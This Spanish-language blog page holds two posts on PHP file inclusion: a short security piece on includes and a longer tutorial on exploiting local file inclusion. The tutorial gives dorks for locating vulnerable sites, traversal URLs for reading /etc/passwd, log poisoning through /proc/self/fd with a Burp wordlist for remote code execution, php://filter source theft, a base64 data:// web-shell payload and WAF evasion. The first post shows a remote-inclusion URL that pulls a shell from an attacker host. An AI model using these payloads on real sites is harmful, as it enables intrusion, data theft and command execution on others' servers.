Mostrando entradas con la etiqueta apache. Mostrar todas las entradas
Mostrando entradas con la etiqueta apache. Mostrar todas las entradas

martes, 1 de abril de 2014

[Parte 5] Seguridad en PHP

Includes

Muchas veces en algun desarollo web utilizamos la inclusion de archivos, ya sea por que, el proyecto esta creciendo considerablemente, en este caso tambien se piensa la programacion orientada a objetos (POO)como alternativa, como dijimos en este caso veremos sobre incluir archivos y existen funciones para ello en PHP tal como include, require, y tambien estan include_once, require_once


Exposicion del codigo fuente

Como vimos en la parte 3 de seguridad en PHP mostrabamos una imagen en las credenciales de acceso de un archivo .inc, este tipo de exposicion es un problema de los mas frecuentes con includes... siendo asi los mayores problemas serian:

- archivos .inc como includes
- los archivos .inc se almacenan dentro de /www donde el publico los puede ver
- Apache no reconoce los archivos .inc como algun tipo de extension
- Apache tiene DefaultType configurado en text/plain

Con quiere decir que todo archivo .inc que incluyas dentro del directorio publico se vera como texto plano, y puede ser visto por cualquier persona.

Para solucionar este tipo de problemas... podriamos poner los archivos .inc fuera del directorio publico /www donde solo pueda ser visto por el administrador del sistema...

O tambien en lugar de ponerle extension .inc a un archivo ponerle extension .php, o simplemente denegar el acceso a este tipo de extensiones:

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>




Puerta trasera en URLs

Muchas veces en una aplicacion web no incluyen sesiones y lo unico que hacen es un include, por ejemplo:



Con esto como informacion_sensitiva.php se encuentra dentro de la raiz del documento (/www) entonces cualquier usuario puede acceder directamente a la url, donde puede haber informacion relevante o simplemente una seccion que no deberiamos de estar viendo.


Manipulacion en el nombre del archivo

Este es un tipo de vulnerabilidad tambien es llamada LFI, pueden encontrar un post acerca de ella en este mismo blog:

http://arthusu.blogspot.mx/2013/02/local-file-include-lfi.html


Siguiendo para explicar lo basico, digamos que tenemos un codigo como el siguiente:



En este ejemplo, se incluye una variable llamada username, la cual esta por metodo GET, la cual incluye archivos html, un ejemplo seria poner, en la url algo como:

http://ejemplo.com/index.php?username=acaelarchivo

Con esto se incluiria el archivo .html


Lo que pasa aqui es que podriamos recorrer directorios de manera que encontremos algunos datos que nosotros queramos incluir, por ejemplo:

http://ejemplo.com/index.php?username=../admin/usuarios

Lo cual en el codigo se veria algo como:



Lo que pasaria aqui es que si te das cuenta, solo estamos agregando archivos html, entonces este tipo de restriccion se puede evitar utiilizando nullbyte (), por ejemplo, quedaria mas o menos asi:

http://ejemplo.com/index.php?username=../etc/passwd

Lo cual nos daria como resultado el archivo passwd donde se encuentran todos los usuarios de un sistema linux.

Para evitar este tipo de vulnerabilidad podemos usar la funcion basename() e incluir los archivos en una carpeta includes/ de esta manera solo se incluiran los archivos de tal carpeta, la funcion basename() devuelve el componente de nombre de rastreo de la ruta...




Tambien podriamos hacer una inspeccion de la ruta:



La funcion realpath() nos devuelve el nombre de la ruta absoluta canonizado, en este caso si nuestra ruta es algo como: ./../../etc/passwd la ruta absoluta seria /etc/passwd.

La funcion pathinfo() devuelve informacion acerca de la ruta de un fichero, en el caso de opcion dirname, si tuviesemos la siguiente ruta: /www/htdocs/inc/lib.inc.php con la opcion dirname seleccionada nos daria como resultado solo el directorio... /www/htdocs/inc.


Inyeccion de codigo

Puede darse el caso de que en una inclusion, este habilitada la directiva allow_url_fopen() la cual nos permitiria incluir archivos de urls externas, con lo cual podriamos incluir nuestro archivo .php para que ejecute comandos, este tipo de inyeccion de codigo tambien esta conocido como Remote file inclusion (RFI) y ya no es tan comun como lo era antes.

En el caso de que fuera asi nosotros subimos un archivo a nuestro host, que puede contener algun codigo como:

<?php
  system($cmd);
?> 


El cual puedo incluir en la url de la siguiente manera:

http://[servidorvictima].com/index.php?pagina=http://[servidoratacante].com/shell.txt&&cmd=ls

Con lo cual estariamos ejecutando comandos...

Una forma de evitar esto, es desabilitar la directiva allow_url_fopen() o simplemente crear un script como el siguiente:

<?php
   $url = str_replace(array(':','.','/','\\'),'',$url);
   include_once($url);
?>
  


Referencias:

* Essential PHP Security
* Wikipedia
* PHP documentacion oficial

lunes, 25 de febrero de 2013

Local File Include (LFI)

¿Que es?

Lfi significa local file include y lo que hacemos en este tipo de vulnerabilidad es pedir un archivo local por medio de la url, esto se causa por que muchos programadores no filtran sus codigos, un ejemplo comun puede llegar a ser:

    


Este codigo lo que hace es mostrar la pagina que incluyamos por ejemplo: menu.php index.php etc...
Sabiendo eso podemos formar un dork, por ejemplo:
inurl: index.php?pagina=menu.php

inurl significa buscar en url lo siguiente ...
puedes usar google como bing o diferentes buscadores muchos arrojan diferentes resultados....

Ahora sabemos que la LFI es causada por no filtrar bien las funciones include() require() require_once() include_once()


Como explotarla

entonces como ejemplo tenemos algo asi:


pagina.com/index.php?pagina=publications.php

con esto muchas veces podemos saber que la variable pagina es vulnerable debido a que esta incluyendo un archivo sin filtrarlo .... que pasa si ponemos lo siguiente:

pagina.com/index.php?pagina=publications.phpASDASDASD

como no es encontrada el archivo requerido arroja un error, muchas veces no lo arroja esto es por que muchos tienen desactivado error reporting pero igual es probable poder inyectar este tipo de vulnerabilidad

bueno siguiendo con el ejemplo anterior nos arrojaria algo asi:
como vemos tenemos dos directorios antes del archivo index.php es decir /homes-www/mercadier si recuerdas en linux puedes hacer cd .. y recorres un directorio atras... pues es lo que haremos escalar directorios para atras....

digamos quiero coger el archivo /etc/passwd de esa web seria: ../../etc/passwd es decir me recorro las dos carpetas despues de index y luego entro a /etc/passwd querdaria asi:

pagina.com/index.php?pagina=../../etc/passwd

esto me mostraria el archivo passwd que contiene los usuarios,ids,grupo,terminales,contraseña

muchas veces la contraseña lo tapa con x entonces para ello sabemos que se encuntran en un archivo llamado shadow que se encuentra en el mismo directorio /etc/shadow muchas veces ese archivo no se puede acceder a el por que es necesario privilegios de usuario como root por ejemplo....



tambien podemos escalar cosas diferentes como son... /proc/cpuinfo que nos ofrece informacion del cpu o los logs de apache para eso hay que ver los directorios puede haber muchos dependiendo del servidor como este instalado por ejemplo en mi caso tengo xampp en localhost seria de esta manera:

http://localhost/php/lfi.php?pagina=/opt/lampp/logs/access_log



Ahora como ves no se encuentra muchas cosas pero estos los son los accesos a las webs, imaginate que en los logs se muestre algo como la cabecera user-agent es decir el navegador entonces podriamos inyectar con un sniffer de http como live https headers o tamper data e infectar los logs por ejemplo, modificar esa cabecera user-agent y poner un codigo php para mostrar un phpinfo() y veriamos en los logs la informacion del php esto seria infectar los logs....tambien se pueden infectar logs por /proc/self/environ pero muchas veces no se muestra... veremos como infectar logs para darnos RCE (remote code execution :D )

Infectando logs por medio de /proc/self/fd

Bueno este es un nuevo agregado a este tutorial que es infectar logs por medio de /proc/self/fd y asi obtener RCE (remote command execution) :D
Para empezar utilizare burp suite por que simplemente me carga mas rapido que el firefox que como son archivos largos puede llegar a colgarse.... empecemos haciendo una peticion del archivo /proc/self/environ a una web vulnerable a LFI...


bueno entonces intentemos con algo como /proc/self/cmdline o /proc/self/stat o /proc/self/status

con cmdline devuelve la linea de comandos si hago una poc(proof of concept) en mi pc sale bash y si hago una poc(proff of concept) en la web sale php con esto sabemos que su cmdline en este caso es el proceso php

stat y status nos devuelve el estado con su pid en el primer caso y en el segundo con size y mas informacion adicional :D


Ahora el /proc/self/fd = Este es un subdirectorio que contiene una entrada para cada archivo que tiene abierto el proceso, nombrada con el descriptor de fichero, y que es un enlace simbólico al archivo real. Por lo tanto, 0 es la entrada estándar, salida estándar 1, 2 error estándar, etc

para mas informacion sobre proc

bueno en este caso queremos encontrar la entrada del archivo del proceso abierto y como no sabemos usaremos bruteforce intentando hasta encontrar el archivo correcto....

Les dejo una wordlist aunque ustedes pueden crear una para esto o para cualquier cosa como blindsqli, bruteforce http etc burp es una gran suite :D

/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35

no enseñare como configurar el burp suite ya que solo es una proxy y la puedes configurar desde el navegador para atrapar la web pero si explicare como hacer para atacar con el wordlist :D

tenemos nuestro Host a vulnerable a LFI y lo mandamos a intruder seria algo asi: Click derecho o action > Send to intruder
en intruder seleccionamos positions y damos un clear$ que seria limpiar y luego agregamos (add$) la ruta a escalar, ejemplo:


luego configuramos el payload agregamos el archivo wordlist desde load... y lo seleccionamos lo tienen arriba solo lo guardan como txt xD, despues de eso en el menu de arriba clickeamos intruder>start attack


buscamos una entrada relacionada con la web que estamos y dice que tenemos un error al pedir el archivo favicon.ico
entonces en repeater hago una peticion a /favicon.ico y pongo una cabecera referer inyectando el codigo malicioso por ejemplo




por ultimo hacemos de nuevo una peticion al archivo donde encontramos esos registros.... /proc/self/fd/numeroqueobtuvistes



Nuestro amigo Psymera comenta algo de un codigo con un path que seria asi:




donde upload seria nuestra carpeta aunque seria lo mismo nos saldria un error con lo cual tendriamos que escalar las carpetas del servidor incluyendo tambien la carpeta upload.... un ejemplo de este error seria:

por lo que solo seria escalar dos carpetas mas despues del FPD (Full path disclousure)  que seria: ../../../../../../etc/passwd y entonces:




Este tipo de webs lo tome de un exploit de un cms que encontro Daniel Godoy...


 tambien podriamos con php://filter hacer un enlace para obtener un recurso por ejemplo obtener el index de una web por medio de un LFI, por ejemplo:

pagina.com/index.php?pagina=php://filter/read=convert.base64-encode/resource=index.php



esto nos mostraria el codigo del archivo index.php convertido a base64 con lo cual solo lo decodificariamos....


y con seguir buscando dentro del codigo podiamos encontrar un require() include() o un SQLI u otras vulnerabilidades, en este caso fue la base de datos :D



Otro ejemplo es usar data:// para obtener datos por medio de cabeceras de content-type por ejemplo seria hacer esto:

pagina.com/index.php?pagina=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg==&cmd=ls



ese base64 es un archivo php con una funcion system() pidiendo todo lo que se inque con cmd

por ultimo tambien puedes usar php://input para ingresar una shell en los datos por post pidiendo asi comandos


esa herramienta de arriba es la hackbar puedes descargar un manual en este mismo blog

Incluso por XSPA puedes obtener un lfi:


Evasion de WAF's
Muchas veces los WAF (Web Application Firewall) detectan una ataque LFI respondiendo con otro tipo de codigo de estado que el normal -->200 OK como puede ser 403 Forbidden,501 No implementado,etc
Para ello usamos NULL BYTES que seria algo vacio esta encodeado en urlencode, en este caso no tengo casos de ejemplo pero puedo mostrar como se conformaria este tipo de urls:

pagina.com/lfi.php?pagina=/etc/passwd
Otra manera seria encodear la barra (/) que seria %2F
pagina.com/lfi.php?pagina=%2Fetc%2Fpasswd

bueno estas solo son dos si saben mas avisen y agrego, para estos casos es solo imaginar como evadir el firewall de una aplicacion web

Como evitar un ataque LFI

podriamos usar condicionales en el codigo.... en este caso un switch dependiendo del numero de pagina incluidas y por defecto incluir una pagina si se pide otra cosa....





Correciones

Bueno antes que nada me he equivocado en algunas partes y quiero compartilas y agradecer a Dedalo, Psymera ,Q3rv0 si alguien encuentra otro error en el tuto diganme y le hago un edit o si se saben otro metodo aparte de este tambien diganlo y le agregamos ....

Correcion 1: En el codigo de solucion tenia un include todavia en ves del switch <-- corregido
Correcion 2: Para el Wrapper php://input es necesario tener activado allow_url_include = On esto se puede modificar desde php.ini o .htaccess
Correcion 3: Para el Wrapper data:// es necesario tener activado allow_url_include y allow_url_fopen por lo que no serviria en este caso de LFI sino seria para RFI
Correcion 4: El codigo que comenta Psymera que es para RFI pero tambien viene en muchos LFI por lo que solamente incluire un pequeño ejemplo de lo que el comenta en el tuto


Bueno he terminado espero que les haya gustado he mostrado algunos metodos con los que pudiesen obtener datos importantes o obtener incluso una shell... salu2